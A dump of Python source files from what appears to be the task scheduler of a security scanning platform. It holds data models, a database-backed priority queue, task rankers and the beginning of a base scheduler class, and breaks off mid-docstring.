    "content": "import datetime\nimport uuid\nfrom typing import Any\n\nfrom pydantic import BaseModel, Field\n\n\nclass Boefje(BaseModel):\n    \"\"\"Boefje representation.\"\"\"\n\n    id: str\n    name: str | None = Field(default=None)\n    version: str | None = Field(default=None)\n    oci_image: str | None = None\n\n\nclass BoefjeMeta(BaseModel):\n    \"\"\"BoefjeMeta is the response object returned by the Bytes API\"\"\"\n\n    id: uuid.UUID\n    boefje: Boefje\n    input_ooi: str | None\n    arguments: dict[str, Any] = Field(default_factory=dict)\n    organization: str\n\n    started_at: datetime.datetime | None\n    ended_at: datetime.datetime | None\n\n\nclass BoefjeConfig(BaseModel):\n    \"\"\"BoefjeConfig is the configuration object for a Boefje\"\"\"\n\n    id: int\n    boefje_id: str\n    enabled: bool\n    organisation_id: str\n    settings: dict\n    duplicates: list[\"BoefjeConfig\"] = Field(default_factory=list)\n"
  },
  {
    "path": "mula/scheduler/models/errors.py",
    "content": "class ValidationError(Exception):\n    pass\n"
  },
  {
    "path": "mula/scheduler/models/events.py",
    "content": "from datetime import datetime\n\nfrom pydantic import BaseModel\n\nfrom .raw_data import RawData\n\n\nclass RawDataReceivedEvent(BaseModel):\n    created_at: datetime\n    organization: str\n    raw_data: RawData\n"
  },
  {
    "path": "mula/scheduler/models/health.py",
    "content": "from typing import Any\n\nfrom pydantic import BaseModel, Field\n\n\nclass ServiceHealth(BaseModel):\n    \"\"\"ServiceHealth is used as response model for health check in the\n    server.Server for the health endpoint.\n    \"\"\"\n\n    service: str\n    healthy: bool = False\n    version: str | None = None\n    additional: Any = None\n    results: list[\"ServiceHealth\"] = Field(default_factory=list)\n    externals: dict[str, bool] = {}\n\n\nServiceHealth.model_rebuild()\n"
  },
  {
    "path": "mula/scheduler/models/normalizer.py",
    "content": "import datetime\nimport uuid\n\nfrom pydantic import BaseModel\n\n\nclass Normalizer(BaseModel):\n    \"\"\"Normalizer representation.\"\"\"\n\n    id: str\n    name: str | None = None\n    version: str | None = None\n\n\nclass NormalizerMeta(BaseModel):\n    \"\"\"NormalizerMeta is the response object returned by the Bytes API.\"\"\"\n\n    id: uuid.UUID\n    normalizer: Normalizer\n    raw_file_id: str | None\n    started_at: datetime.datetime\n    ended_at: datetime.datetime\n"
  },
  {
    "path": "mula/scheduler/models/ooi.py",
    "content": "from enum import Enum\n\nfrom pydantic import BaseModel\n\n\nclass MutationOperationType(Enum):\n    CREATE = \"create\"\n    UPDATE = \"update\"\n    DELETE = \"delete\"\n\n\nclass RunOn(Enum):\n    CREATE = MutationOperationType.CREATE.value\n    UPDATE = MutationOperationType.UPDATE.value\n\n\nclass ScanProfile(BaseModel):\n    level: int\n    reference: str\n    scan_profile_type: str | None\n\n\nclass OOI(BaseModel):\n    \"\"\"Representation of \"Object Of Interests\" from Octopoes.\"\"\"\n\n    primary_key: str\n    object_type: str\n    scan_profile: ScanProfile\n\n\nclass ScanProfileMutation(BaseModel):\n    operation: MutationOperationType\n    primary_key: str\n    value: OOI | None\n    client_id: str\n"
  },
  {
    "path": "mula/scheduler/models/organisation.py",
    "content": "from pydantic import BaseModel\n\n\nclass Organisation(BaseModel):\n    id: str\n    name: str | None = None\n"
  },
  {
    "path": "mula/scheduler/models/plugin.py",
    "content": "import datetime\n\nfrom pydantic import BaseModel\n\nfrom scheduler.models.ooi import RunOn\n\n\nclass Plugin(BaseModel):\n    id: str\n    type: str\n    enabled: bool\n    name: str | None = None\n    version: str | None = None\n    authors: list[str] | None = None\n    created: datetime.datetime | None = None\n    description: str | None = None\n    related: list[str] | None = None\n    scan_level: int | None = None\n    consumes: str | list[str]\n    options: list[str] | None = None\n    produces: list[str]\n    cron: str | None = None\n    interval: int | None = None\n    run_on: list[RunOn] | None = None\n    oci_image: str | None = None\n    oci_arguments: list[str] | None = None\n"
  },
  {
    "path": "mula/scheduler/models/queue.py",
    "content": "from pydantic import BaseModel\n\nfrom .task import Task\n\n\nclass Queue(BaseModel):\n    id: str\n    size: int\n    maxsize: int\n    item_type: str\n    allow_replace: bool\n    allow_updates: bool\n    allow_priority_updates: bool\n    pq: list[Task] | None = None\n"
  },
  {
    "path": "mula/scheduler/models/raw_data.py",
    "content": "import uuid\n\nfrom pydantic import BaseModel\n\nfrom .boefje import BoefjeMeta\n\n\nclass RawData(BaseModel):\n    id: uuid.UUID\n    boefje_meta: BoefjeMeta\n    mime_types: list[dict[str, str]]\n    secure_hash: str | None = None\n    hash_retrieval_link: str | None = None\n"
  },
  {
    "path": "mula/scheduler/models/schedule.py",
    "content": "import uuid\nfrom datetime import datetime, timezone\n\nfrom pydantic import BaseModel, ConfigDict, Field, field_validator\nfrom sqlalchemy import Boolean, Column, DateTime, String\nfrom sqlalchemy.dialects.postgresql import JSONB\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.sql import func\nfrom sqlalchemy.sql.schema import Index\n\nfrom scheduler.utils import GUID, cron\n\nfrom .base import Base\n\n\nclass Schedule(BaseModel):\n    model_config = ConfigDict(from_attributes=True, validate_assignment=True)\n\n    id: uuid.UUID = Field(default_factory=uuid.uuid4)\n    scheduler_id: str\n    organisation: str\n    hash: str | None = Field(None, max_length=32)\n    data: dict | None = None\n    enabled: bool = True\n    schedule: str | None = None\n\n    deadline_at: datetime | None = None\n    created_at: datetime = Field(default_factory=lambda: datetime.now(timezone.utc))\n    modified_at: datetime = Field(default_factory=lambda: datetime.now(timezone.utc))\n\n    def model_post_init(self, context) -> None:\n        \"\"\"Post init method to set the deadline_at if it is not set.\"\"\"\n        if self.deadline_at is None and self.schedule:\n            self.deadline_at = cron.next_run(self.schedule)\n\n    @field_validator(\"schedule\")\n    @classmethod\n    def validate_schedule(cls, value: str) -> str:\n        \"\"\"Custom validation for the schedule cron expression.\"\"\"\n        if value is None:\n            return value\n\n        try:\n            cron.next_run(value)\n            return value\n        except Exception as exc:\n            raise ValueError(f\"Invalid cron expression: {value}\") from exc\n\n\nclass ScheduleDB(Base):\n    __tablename__ = \"schedules\"\n\n    id = Column(GUID, primary_key=True)\n    scheduler_id = Column(String, nullable=False)\n    organisation = Column(String, nullable=False)\n    hash = Column(String(32), nullable=True, unique=True)\n    data = Column(JSONB, nullable=False)\n    enabled = Column(Boolean, nullable=False, default=True)\n    schedule = Column(String, nullable=True)\n    tasks = relationship(\"TaskDB\", back_populates=\"schedule\")\n\n    deadline_at = Column(DateTime(timezone=True), nullable=True)\n    created_at = Column(DateTime(timezone=True), nullable=False, server_default=func.now())\n    modified_at = Column(DateTime(timezone=True), nullable=False, server_default=func.now(), onupdate=func.now())\n\n\nIndex(\"ix_schedules_enabled\", ScheduleDB.enabled)\nIndex(\"ix_schedules_hash\", ScheduleDB.hash)\nIndex(\"ix_schedules_organisation\", ScheduleDB.organisation)\nIndex(\"ix_schedules_scheduler_id\", ScheduleDB.scheduler_id)\n"
  },
  {
    "path": "mula/scheduler/models/scheduler.py",
    "content": "import enum\nfrom datetime import datetime\nfrom typing import Any\n\nfrom pydantic import BaseModel, ConfigDict\n\n\nclass SchedulerType(str, enum.Enum):\n    \"\"\"Enum for scheduler types.\"\"\"\n\n    UNKNOWN = \"unknown\"\n    BOEFJE = \"boefje\"\n    NORMALIZER = \"normalizer\"\n    REPORT = \"report\"\n\n\nclass Scheduler(BaseModel):\n    model_config = ConfigDict(from_attributes=True, use_enum_values=True)\n\n    id: str\n    type: SchedulerType\n    item_type: Any\n    qsize: int = 0\n    last_activity: datetime | None = None\n"
  },
  {
    "path": "mula/scheduler/models/task.py",
    "content": "import enum\nimport uuid\nfrom datetime import datetime, timezone\nfrom typing import ClassVar\n\nimport mmh3\nfrom pydantic import BaseModel, ConfigDict, Field\nfrom sqlalchemy import Column, DateTime, Enum, ForeignKey, Integer, String\nfrom sqlalchemy.dialects.postgresql import JSONB\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.sql import func\nfrom sqlalchemy.sql.schema import Index\n\nfrom scheduler.utils import GUID\n\nfrom .base import Base\nfrom .boefje import Boefje\nfrom .normalizer import Normalizer\nfrom .raw_data import RawData\n\n\nclass TaskStatus(str, enum.Enum):\n    # Task has been created but not yet queued\n    PENDING = \"pending\"\n\n    # Task has been pushed onto queue and is ready to be picked up\n    QUEUED = \"queued\"\n\n    # Task has been picked up by a worker\n    DISPATCHED = \"dispatched\"\n\n    # Task has been picked up by a worker, and the worker indicates that it is\n    # running.\n    RUNNING = \"running\"\n\n    # Task has been completed\n    COMPLETED = \"completed\"\n\n    # Task has failed\n    FAILED = \"failed\"\n\n    # Task has been cancelled\n    CANCELLED = \"cancelled\"\n\n\nACTIVE_TASK_STATUSES = (TaskStatus.PENDING, TaskStatus.QUEUED, TaskStatus.DISPATCHED, TaskStatus.RUNNING)\n\n\nclass Task(BaseModel):\n    model_config = ConfigDict(from_attributes=True, use_enum_values=True)\n\n    id: uuid.UUID = Field(default_factory=uuid.uuid4)\n    scheduler_id: str\n    schedule_id: uuid.UUID | None = None\n    organisation: str\n    priority: int | None = 0\n    status: TaskStatus = TaskStatus.PENDING\n    type: str | None = None\n    hash: str | None = Field(None, max_length=32)\n    data: dict = Field(default_factory=dict)\n\n    created_at: datetime = Field(default_factory=lambda: datetime.now(timezone.utc))\n    modified_at: datetime = Field(default_factory=lambda: datetime.now(timezone.utc))\n\n\nclass TaskDB(Base):\n    __tablename__ = \"tasks\"\n\n    id = Column(GUID, primary_key=True)\n    scheduler_id = Column(String, nullable=False)\n    schedule_id = Column(GUID, ForeignKey(\"schedules.id\", ondelete=\"SET NULL\"), nullable=True)\n    organisation = Column(String, nullable=False)\n    type = Column(String, nullable=False)\n    hash = Column(String(32), index=True)\n    priority = Column(Integer)\n    data = Column(JSONB, nullable=False)\n    status = Column(Enum(TaskStatus), nullable=False, default=TaskStatus.PENDING)\n\n    schedule = relationship(\"ScheduleDB\", back_populates=\"tasks\")\n\n    created_at = Column(DateTime(timezone=True), nullable=False, server_default=func.now())\n    modified_at = Column(DateTime(timezone=True), nullable=False, server_default=func.now(), onupdate=func.now())\n\n\nIndex(\"ix_tasks_status_queued\", TaskDB.scheduler_id, TaskDB.status, postgresql_where=TaskDB.status == TaskStatus.QUEUED)\nIndex(\"ix_tasks_organisation\", TaskDB.organisation)\nIndex(\"ix_tasks_scheduler_id\", TaskDB.scheduler_id)\nIndex(\"ix_tasks_status\", TaskDB.status)\nIndex(\"ix_tasks_type\", TaskDB.type)\n# only have one 'active or to be active task on the queue per schedule_id'\nIndex(\n    \"ix_tasks_active_per_schedule\",\n    TaskDB.schedule_id,\n    unique=True,\n    postgresql_where=TaskDB.status.in_(ACTIVE_TASK_STATUSES),\n)\n\n\nclass NormalizerTask(BaseModel):\n    \"\"\"NormalizerTask represent data needed for a Normalizer to run.\"\"\"\n\n    type: ClassVar[str] = \"normalizer\"\n\n    id: uuid.UUID | None = Field(default_factory=uuid.uuid4)\n    normalizer: Normalizer\n    raw_data: RawData\n\n    @property\n    def hash(self) -> str:\n        \"\"\"Make NormalizerTask hashable, so that we can de-duplicate it when\n        used in the PriorityQueue. We hash the combination of the attributes\n        normalizer.id since this combination is unique.\"\"\"\n        return mmh3.hash_bytes(\n            f\"{self.normalizer.id}-{self.raw_data.boefje_meta.id}-{self.raw_data.boefje_meta.organization}\"\n        ).hex()\n\n\nclass BoefjeTask(BaseModel):\n    \"\"\"BoefjeTask represent data needed for a Boefje to run.\"\"\"\n\n    type: ClassVar[str] = \"boefje\"\n\n    id: uuid.UUID | None = Field(default_factory=uuid.uuid4)\n    boefje: Boefje\n    input_ooi: str | None = None\n    organization: str\n    deduplication_key: uuid.UUID | None = None\n\n    dispatches: list[Normalizer] = Field(default_factory=list)\n\n    @property\n    def hash(self) -> str:\n        \"\"\"Make BoefjeTask hashable, so that we can de-duplicate it when used\n        in the PriorityQueue. We hash the combination of the attributes\n        input_ooi and boefje.id since this combination is unique.\"\"\"\n        if self.input_ooi:\n            return mmh3.hash_bytes(f\"{self.input_ooi}-{self.boefje.id}-{self.organization}\").hex()\n\n        return mmh3.hash_bytes(f\"{self.boefje.id}-{self.organization}\").hex()\n\n\nclass ReportTask(BaseModel):\n    type: ClassVar[str] = \"report\"\n\n    organisation_id: str\n    report_recipe_id: str\n\n    @property\n    def hash(self) -> str:\n        return mmh3.hash_bytes(f\"{self.report_recipe_id}-{self.organisation_id}\").hex()\n"
  },
  {
    "path": "mula/scheduler/schedulers/__init__.py",
    "content": "from .scheduler import Scheduler\nfrom .schedulers import BoefjeScheduler, NormalizerScheduler, ReportScheduler\n"
  },
  {
    "path": "mula/scheduler/schedulers/errors.py",
    "content": "import functools\n\nfrom scheduler.clients.errors import ExternalServiceError\nfrom scheduler.schedulers.queue.errors import NotAllowedError, QueueFullError\n\n\ndef exception_handler(func):\n    @functools.wraps(func)\n    def inner_function(self, *args, **kwargs):\n        try:\n            return func(self, *args, **kwargs)\n        except ExternalServiceError as exc:\n            self.logger.exception(\"An exception occurred\", exc=exc)\n            return None\n        except QueueFullError as exc:\n            self.logger.exception(\"Queue is full\", exc=exc)\n            return None\n        except NotAllowedError as exc:\n            self.logger.debug(exc)\n            return None\n        except Exception as exc:\n            self.logger.exception(\"An exception occurred\", exc=exc)\n            raise exc\n\n    return inner_function\n"
  },
  {
    "path": "mula/scheduler/schedulers/queue/__init__.py",
    "content": "from .errors import InvalidItemError, ItemNotFoundError, NotAllowedError, QueueEmptyError, QueueFullError\nfrom .pq import PriorityQueue\n"
  },
  {
    "path": "mula/scheduler/schedulers/queue/errors.py",
    "content": "from queue import Full\n\n\nclass QueueEmptyError(Exception):\n    pass\n\n\nclass NotAllowedError(Exception):\n    pass\n\n\nclass InvalidItemError(ValueError):\n    pass\n\n\nclass QueueFullError(Full):\n    pass\n\n\nclass ItemNotFoundError(Exception):\n    pass\n"
  },
  {
    "path": "mula/scheduler/schedulers/queue/pq.py",
    "content": "# TODO: Use database row locking instead of threading locks, see: #4129\nfrom __future__ import annotations\n\nimport abc\nimport functools\nimport threading\nfrom typing import Any\n\nimport pydantic\nimport structlog\n\nfrom scheduler import models, storage\nfrom scheduler.storage.errors import IntegrityError\n\nfrom .errors import InvalidItemError, NotAllowedError, QueueFullError\n\n\ndef with_lock(method):\n    @functools.wraps(method)\n    def wrapper(self, *args, **kwargs):\n        with self.lock:\n            return method(self, *args, **kwargs)\n\n    return wrapper\n\n\nclass PriorityQueue(abc.ABC):\n    \"\"\"Base PriorityQueue class\n\n    Attributes:\n        logger:\n            The logger for the class.\n        pq_id:\n            A string representing the identifier of the priority queue.\n        maxsize:\n            A integer representing the maximum size of the queue.\n        item_type:\n            A pydantic.BaseModel that describes the type of the items on the\n            queue.\n        allow_replace:\n            A boolean that defines if the queue allows replacing an item. When\n            set to True, it will update the item on the queue.\n        allow_updates:\n            A boolean that defines if the queue allows updates of items on the\n            queue. When set to True, it will update the item on the queue.\n        allow_priority_updates:\n            A boolean that defines if the queue allows priority updates of\n            items on the queue. When set to True, it will update the item on\n            the queue.\n        pq_store:\n            A PriorityQueueStore instance that will be used to store the items\n            in a persistent way.\n        lock:\n            A threading.Lock instance that will be used to lock the queue\n            operations.\n    \"\"\"\n\n    def __init__(\n        self,\n        pq_id: str,\n        maxsize: int,\n        item_type: Any,\n        pq_store: storage.stores.PriorityQueueStore,\n        allow_replace: bool = False,\n        allow_updates: bool = False,\n        allow_priority_updates: bool = False,\n    ):\n        \"\"\"Initialize the priority queue.\n\n        Args:\n            pq_id:\n                The id of the queue.\n            maxsize:\n                The maximum size of the queue.\n            item_type:\n                The type of the items in the queue.\n            allow_replace:\n                A boolean that defines if the queue allows replacing an item.\n                When set to True, it will update the item on the queue.\n            allow_updates:\n                A boolean that defines if the queue allows updates of items on\n                the queue. When set to True, it will update the item on the\n                queue.\n            allow_priority_updates:\n                A boolean that defines if the queue allows priority updates of\n                items on the queue. When set to True, it will update the item\n                on the queue.\n            pq_store:\n                A PriorityQueueStore instance that will be used to store the\n                items in a persistent way.\n        \"\"\"\n        self.logger: structlog.BoundLogger = structlog.getLogger(__name__)\n        self.pq_id: str = pq_id\n        self.maxsize: int = maxsize\n        self.item_type: Any = item_type\n        self.allow_replace: bool = allow_replace\n        self.allow_updates: bool = allow_updates\n        self.allow_priority_updates: bool = allow_priority_updates\n        self.pq_store: storage.stores.PriorityQueueStore = pq_store\n        self.lock: threading.RLock = threading.RLock()\n\n    @with_lock\n    def pop(self, limit: int | None = None, filters: storage.filters.FilterRequest | None = None) -> list[models.Task]:\n        \"\"\"Remove and return the highest priority items from the queue.\n        Optionally apply filters to the queue.\n\n        Args:\n            filters: A FilterRequest instance that defines the filters\n\n        Returns:\n            The highest priority items from the queue.\n        \"\"\"\n        items = self.pq_store.pop(self.pq_id, limit, filters)\n        if not items:\n            return []\n\n        self.pq_store.bulk_update_status(self.pq_id, [item.id for item in items], models.TaskStatus.DISPATCHED)\n\n        return items\n\n    @with_lock\n    def push(self, task: models.Task) -> models.Task:\n        \"\"\"Push an item onto the queue.\n\n        Args:\n            task: The item to be pushed onto the queue.\n\n        Returns:\n            The item that was pushed onto the queue.\n\n        Raises:\n            NotAllowedError: If the item is not allowed to be pushed.\n\n            InvalidItemError: If the item is not valid.\n\n            QueueFullError: If the queue is full.\n\n            ItemNotFoundError: If the item is not found on the queue.\n        \"\"\"\n        if not isinstance(task, models.Task):\n            raise InvalidItemError(\"The item is not of type Task\")\n\n        if not self._is_valid_item(task.data):\n            raise InvalidItemError(f\"Task must be of type {self.item_type}\")\n\n        if not task.priority:\n            raise InvalidItemError(\"Task must have a priority\")\n\n        if self.full() and task.priority > 1:\n            raise QueueFullError(f\"Queue {self.pq_id} is full.\")\n\n        # We try to get the item from the queue by a specified identifier of\n        # that item by the implementation of the queue. We don't do this by\n        # the item itself or its hash because this might have been changed\n        # and we might need to update that.\n        item_on_queue = self.get_item_by_identifier(task)\n\n        # Item on queue and data changed\n        item_changed = item_on_queue and task.data != item_on_queue.data\n\n        # Item on queue and priority changed\n        priority_changed = item_on_queue and task.priority != item_on_queue.priority\n\n        allowed = any(\n            (\n                item_on_queue and self.allow_replace,\n                item_on_queue and self.allow_updates and item_changed,\n                item_on_queue and self.allow_priority_updates and priority_changed,\n                not item_on_queue,\n            )\n        )\n\n        if not allowed:\n            message = f\"Item already on queue {self.pq_id}. \"\n\n            if item_on_queue and not self.allow_replace:\n                message += \"Item already on queue, we're not allowed to replace the item that is already on the queue.\"\n            elif item_on_queue and item_changed and not self.allow_updates:\n                message += (\n                    \"Item already on queue, and item changed, we're not \"\n                    \"allowed to update the item that is already on the queue.\"\n                )\n            elif item_on_queue and priority_changed and not self.allow_priority_updates:\n                message += (\n                    \"Item already on queue, and priority changed, \"\n                    \"we're not allowed to update the priority of the item \"\n                    \"that is already on the queue.\"\n                )\n\n            raise NotAllowedError(message)\n\n        # If already on queue update the item, else create a new one\n        if not item_on_queue:\n            try:\n                task.hash = self.create_hash(task)\n                task.status = models.TaskStatus.QUEUED\n                item_db = self.pq_store.push(task)\n                return item_db\n            except IntegrityError as exc:\n                # check for collision warning on schedule_id / active state\n                if \"ix_tasks_active_per_schedule\" not in str(exc):\n                    raise\n                item_on_queue = self.pq_store.get_active_task_by_schedule(task.schedule_id)\n                if not item_on_queue:\n                    # This should never happen, we had a collision,\n                    # but cannot find the colliding scheduled task.\n                    # maybe it was a race condition, lets insert again\n                    task.hash = self.create_hash(task)\n                    task.status = models.TaskStatus.QUEUED\n                    item_db = self.pq_store.push(task)\n                    return item_db\n\n        # Update the item with the new data\n        patch_data = task.model_dump(exclude_unset=True)\n        updated_task = item_on_queue.model_copy(update=patch_data)\n\n        # Update the item in the queue\n        self.pq_store.update(self.pq_id, updated_task)\n        return updated_task\n\n    @with_lock\n    def peek(self, index: int) -> models.Task | None:\n        \"\"\"Return the item at index without removing it.\n\n        Args:\n            index: The index of the item to be returned.\n\n        Returns:\n            The item at index.\n        \"\"\"\n        return self.pq_store.peek(self.pq_id, index)\n\n    @with_lock\n    def remove(self, task: models.Task) -> None:\n        \"\"\"Remove an item from the queue.\n\n        Args:\n            task: The item to be removed from the queue.\n\n        Returns:\n            The item that was removed from the queue.\n        \"\"\"\n        self.pq_store.remove(self.pq_id, task.id)\n\n    @with_lock\n    def clear(self) -> None:\n        \"\"\"Clear the queue.\"\"\"\n        self.pq_store.clear(self.pq_id)\n\n    @with_lock\n    def empty(self) -> bool:\n        \"\"\"Return True if the queue is empty, False otherwise.\"\"\"\n        return self.pq_store.empty(self.pq_id)\n\n    @with_lock\n    def qsize(self) -> int:\n        \"\"\"Return the size of the queue.\"\"\"\n        return self.pq_store.qsize(self.pq_id)\n\n    @with_lock\n    def full(self) -> bool:\n        \"\"\"Return True if the queue is full, False otherwise.\"\"\"\n        if self.maxsize is None or self.maxsize == 0:\n            return False\n\n        return self.qsize() >= self.maxsize\n\n    @with_lock\n    def is_item_on_queue(self, task: models.Task) -> bool:\n        \"\"\"Check if an item is on the queue.\n\n        Args:\n            task: The item to be checked.\n\n        Returns:\n            True if the item is on the queue, False otherwise.\n        \"\"\"\n        identifier = self.create_hash(task)\n        item = self.pq_store.get_item_by_hash(self.pq_id, identifier)\n        if item is None:\n            return False\n\n        return True\n\n    @with_lock\n    def is_item_on_queue_by_hash(self, item_hash: str) -> bool:\n        \"\"\"Check if an item is on the queue by its hash.\n\n        Args:\n            item_hash: The hash of the item to be checked.\n\n        Returns:\n            True if the item is on the queue, False otherwise.\n        \"\"\"\n        item = self.pq_store.get_item_by_hash(self.pq_id, item_hash)\n        return item is not None\n\n    @with_lock\n    def get_item_by_identifier(self, task: models.Task) -> models.Task | None:\n        \"\"\"Get an item from the queue by its identifier.\n\n        Args:\n            task: The item to be checked.\n\n        Returns:\n            The item if found, None otherwise.\n        \"\"\"\n        identifier = self.create_hash(task)\n        item = self.pq_store.get_item_by_hash(self.pq_id, identifier)\n        return item\n\n    def _is_valid_item(self, item: Any) -> bool:\n        \"\"\"Validate the item to be pushed into the queue.\n\n        Args:\n            item: The item to be validated.\n\n        Returns:\n            A boolean, True if the item is valid, False otherwise.\n        \"\"\"\n        try:\n            self.item_type.model_validate(item)\n        except pydantic.ValidationError:\n            return False\n\n        return True\n\n    def dict(self, include_pq: bool = True) -> dict[str, Any]:\n        \"\"\"Return a dictionary representation of the queue.\"\"\"\n        response = {\n            \"id\": self.pq_id,\n            \"size\": self.qsize(),\n            \"maxsize\": self.maxsize,\n            \"item_type\": self.item_type.__name__,\n            \"allow_replace\": self.allow_replace,\n            \"allow_updates\": self.allow_updates,\n            \"allow_priority_updates\": self.allow_priority_updates,\n        }\n\n        if include_pq:\n            response[\"pq\"] = self.pq_store.get_items_by_scheduler_id(self.pq_id)\n\n        return response\n\n    def create_hash(self, task: models.Task) -> str:\n        \"\"\"Create a hash for the given item. This hash is used to determine if\n        the item is already in the queue.\n\n        Abstract method to be implemented by the concrete implementation of\n        the queue. It needs to create a unique identifier for the item on\n        the queue.\n\n        Args:\n            task: The item to be hashed.\n\n        Returns:\n            A string representing the hash of the item.\n        \"\"\"\n        item = self.item_type(**task.data)\n        return item.hash\n"
  },
  {
    "path": "mula/scheduler/schedulers/rankers/__init__.py",
    "content": "from .boefje import BoefjeRanker, BoefjeRankerTimeBased\nfrom .normalizer import NormalizerRanker\nfrom .ranker import Ranker\n\n__all__ = [\"BoefjeRanker\", \"NormalizerRanker\", \"Ranker\"]\n"
  },
  {
    "path": "mula/scheduler/schedulers/rankers/boefje.py",
    "content": "from datetime import datetime, timedelta, timezone\nfrom typing import Any\n\nfrom .ranker import Ranker\n\n\nclass BoefjeRanker(Ranker):\n    \"\"\"The BoefjeRanker is a ranker that is used to rank tasks based on the\n    procedure listed in the `rank()` method.\n    \"\"\"\n\n    MAX_PRIORITY = 1000\n    MAX_DAYS = 7\n\n    def rank(self, obj: Any) -> int:\n        \"\"\"When a task hasn't run in a while it needs to be run sooner. We want\n        a task to get a priority of 3 when `max_days` days are gone by, and\n        thus it should have a lower bound of 3 for every task that has run past\n        those`max_days`.\n\n        3 has been chosen as a lower bound because new tasks that have not yet\n        run before will get the priority of 2. And tasks created by the user\n        (from rocky) will get a priority of 1.\n\n        Before the end of those `max_days` we want to prioritize a task within\n        a range from 3 to the maximum value of `max_priority`.\n        \"\"\"\n        max_priority = self.MAX_PRIORITY\n        max_days_in_seconds = self.MAX_DAYS * (60 * 60 * 24)\n        grace_period = timedelta(seconds=self.ctx.config.pq_grace_period)\n\n        # New tasks that have not yet run before\n        if obj.latest_task is None or not obj.latest_task:\n            return 2\n\n        # Make sure that we don't have tasks that are still in the grace period.\n        # Use total_seconds() rather than .seconds: the latter only returns the\n        # H:M:S portion of a timedelta (0..86399) and drops the days, which\n        # made both the `< 0` and `>= max_days_in_seconds` branches unreachable\n        # and inverted the decay curve for tasks older than one day.\n        time_since_grace_period = (\n            (datetime.now(timezone.utc) - obj.latest_task.modified_at) - grace_period\n        ).total_seconds()\n        if time_since_grace_period < 0:\n            return -1\n\n        if time_since_grace_period >= max_days_in_seconds:\n            return 3\n\n        return int(3 + (max_priority - 3) * (1 - time_since_grace_period / max_days_in_seconds))\n\n\nclass BoefjeRankerTimeBased(Ranker):\n    \"\"\"A timed-based BoefjeRanker allows for a specific time to be set for the\n    task to be ranked. You'll be able to rank jobs with a specific time\n    element. Epoch time is used allows the score and used as the priority on\n    the priority queue. This allows for time-based scheduling of jobs.\n    \"\"\"\n\n    def rank(self, obj: Any) -> int:\n        return int(obj.created_at.timestamp())\n"
  },
  {
    "path": "mula/scheduler/schedulers/rankers/normalizer.py",
    "content": "from typing import Any\n\nfrom .ranker import Ranker\n\n\nclass NormalizerRanker(Ranker):\n    \"\"\"The NormalizerRanker is a ranker that is used to rank tasks based on the\n    procedure listed in the `rank()` method.\n    \"\"\"\n\n    def rank(self, obj: Any) -> int:\n        \"\"\"Ranking of normalizer tasks, we want raw files that have been\n        created a long time ago to be processed earlier.\"\"\"\n        return int(obj.raw_data.boefje_meta.ended_at.timestamp())\n"
  },
  {
    "path": "mula/scheduler/schedulers/rankers/ranker.py",
    "content": "import abc\nfrom typing import Any\n\nimport structlog\n\nfrom scheduler import context\n\n\nclass Ranker(abc.ABC):\n    \"\"\"The Ranker class is tasked with, given an object, to give a priority\n    that is used for the PriorityQueue.\n\n    An implementation will of the Ranker will likely implement the `rank`\n    method. Within the ranker we include the application context since it\n    will be possible to reference multiple sources and connections in\n    order to make up its priority.\n\n    Attributes:\n        logger:\n            The logger for the class\n        ctx:\n            Application context of shared data (e.g. configuration, external\n            services connections).\n    \"\"\"\n\n    def __init__(self, ctx: context.AppContext) -> None:\n        self.logger: structlog.BoundLogger = structlog.getLogger(__name__)\n        self.ctx: context.AppContext = ctx\n\n    @abc.abstractmethod\n    def rank(self, obj: Any) -> int:\n        raise NotImplementedError\n"
  },
  {
    "path": "mula/scheduler/schedulers/scheduler.py",
    "content": "import abc\nimport random\nimport threading\nimport time\nfrom collections.abc import Callable\nfrom concurrent import futures\nfrom datetime import datetime, timedelta, timezone\nfrom typing import Any\n\nimport structlog\nfrom opentelemetry import trace\n\nfrom scheduler import clients, context, models, storage, utils\nfrom scheduler.schedulers.queue import PriorityQueue\nfrom scheduler.schedulers.queue.errors import InvalidItemError, NotAllowedError, QueueFullError\nfrom scheduler.utils import cron, thread\n\ntracer = trace.get_tracer(__name__)\n\n\nclass Scheduler(abc.ABC):\n    \"\"\"The scheduler base class that all schedulers should inherit from.\n\n    Attributes:\n        logger:\n            The logger instance.\n        ctx:\n            Application context of shared data (e.g. configuration, external\n            services connections).\n        scheduler_id:\n            The id of the scheduler.\n        max_tries:\n            The maximum number of retries for an item to be pushed to\n            the queue.\n        create_schedule:\n            Whether to create a Schedule for a task.\n        auto_calculate_deadline:\n            Whether to automatically calculate the deadline at of the Schedule\n            from a task.\n        last_activity:\n            The last activity of the scheduler.\n        queue:\n            A queues.PriorityQueue instance\n        listeners:\n            A dictionary of listeners, typically AMQP listeners on which\n            event messages are received.\n        threads:\n            A list of threads that are running, typically long running\n            processes.\n        lock:\n            A threading lock\n        stop_event_threads:\n            A threading event to stop the running threads.\n    \"\"\"\n\n    TYPE: models.SchedulerType = models.SchedulerType.UNKNOWN\n    ITEM_TYPE: Any = None\n\n    def __init__(\n        self,\n        ctx: context.AppContext,\n        scheduler_id: str,\n        queue: PriorityQueue | None = None,\n        max_tries: int = -1,\n        create_schedule: bool = False,\n        auto_calculate_deadline: bool = True,\n    ):\n        self.logger: structlog.BoundLogger = structlog.getLogger(__name__)\n        self.ctx: context.AppContext = ctx\n\n        # Properties\n        self.scheduler_id: str = scheduler_id\n        self.max_tries: int = max_tries\n        self.create_schedule: bool = create_schedule\n        self.auto_calculate_deadline: bool = auto_calculate_deadline\n        self._last_activity: datetime | None = None\n\n        # Queue\n        self.queue = queue or PriorityQueue(\n            pq_id=scheduler_id,\n            maxsize=self.ctx.config.pq_maxsize,\n            item_type=self.ITEM_TYPE,\n            pq_store=self.ctx.datastores.pq_store,\n        )\n\n        # Listeners\n        self.listeners: dict[str, clients.amqp.Listener] = {}\n\n        # Threads\n        self.threads: list[thread.ThreadRunner] = []\n        self.lock: threading.Lock = threading.Lock()\n        self.stop_event_threads: threading.Event = threading.Event()\n\n    @abc.abstractmethod\n    def run(self) -> None:\n        raise NotImplementedError\n\n    def log_future_exceptions(self, fut: futures.Future):\n        exc = fut.exception()\n        if exc:\n            self.logger.exception(\"%s task crashed in ThreadPoolExecutor\", self.ITEM_TYPE, exc_info=exc)\n\n    def run_in_thread(\n        self, name: str, target: Callable[[], Any], interval: float = 0.01, daemon: bool = False, loop: bool = True\n    ) -> None:\n        \"\"\"Make a function run in a thread, and add it to the dict of threads.\n\n        Args:\n            name: The name of the thread.\n            target: The function to run in the thread.\n            interval: The interval to run the function.\n            daemon: 